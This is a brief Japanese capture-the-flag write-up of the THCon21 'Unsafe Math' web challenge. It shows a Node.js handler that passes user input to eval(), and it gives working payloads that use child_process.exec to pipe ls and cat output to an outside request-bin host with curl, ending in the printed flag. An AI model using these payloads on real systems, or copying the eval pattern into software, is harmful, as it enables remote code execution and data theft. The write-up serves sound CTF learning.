1つしか解けなかった・・・
Unsafe Math [Web]
app.post('/', function(req, res){ const regex = /[a-zA-Z]/g; var width = req.body.width; var height = req.body.height; if(width === '' || height === ''){ return res.render('index', {'error':'one of the field is empty...'}); } if(width.length > 10 || height.length > 10){ return res.render('index', {'error':'width or height are too large !'}); } return res.render('index', {'result':'Result: ' + eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')}); })
RCEにつなげられそうなエンドポイントがある。
制約はそれほど多くなく、文字数制限くらいしかない。
色々試すと、以下の入力を使うとRequestが飛んでくることが確認できる。
width[]=require("child_process").exec("curl+https://[request-bin]/test")&height=1
結果はResult: NaN
とされるが、評価はされているっぽいので、RCEは達成できた。
後はPOSTでlsやらcatやらするとフラグゲット
width[]=require("child_process").exec("ls+|+curl+https://[request-bin]/test+-X+POST+-d+@-")&height=1 index.js node_modules package-lock.json package.json sec9et_fl46.txt static views width[]=require("child_process").exec("cat+sec9et_fl46.txt+|+curl+https://[request-bin]+-X+POST+-d+@-")&height=1 THCon21{t34cHiN6_1s_N0t_sO_3@sY}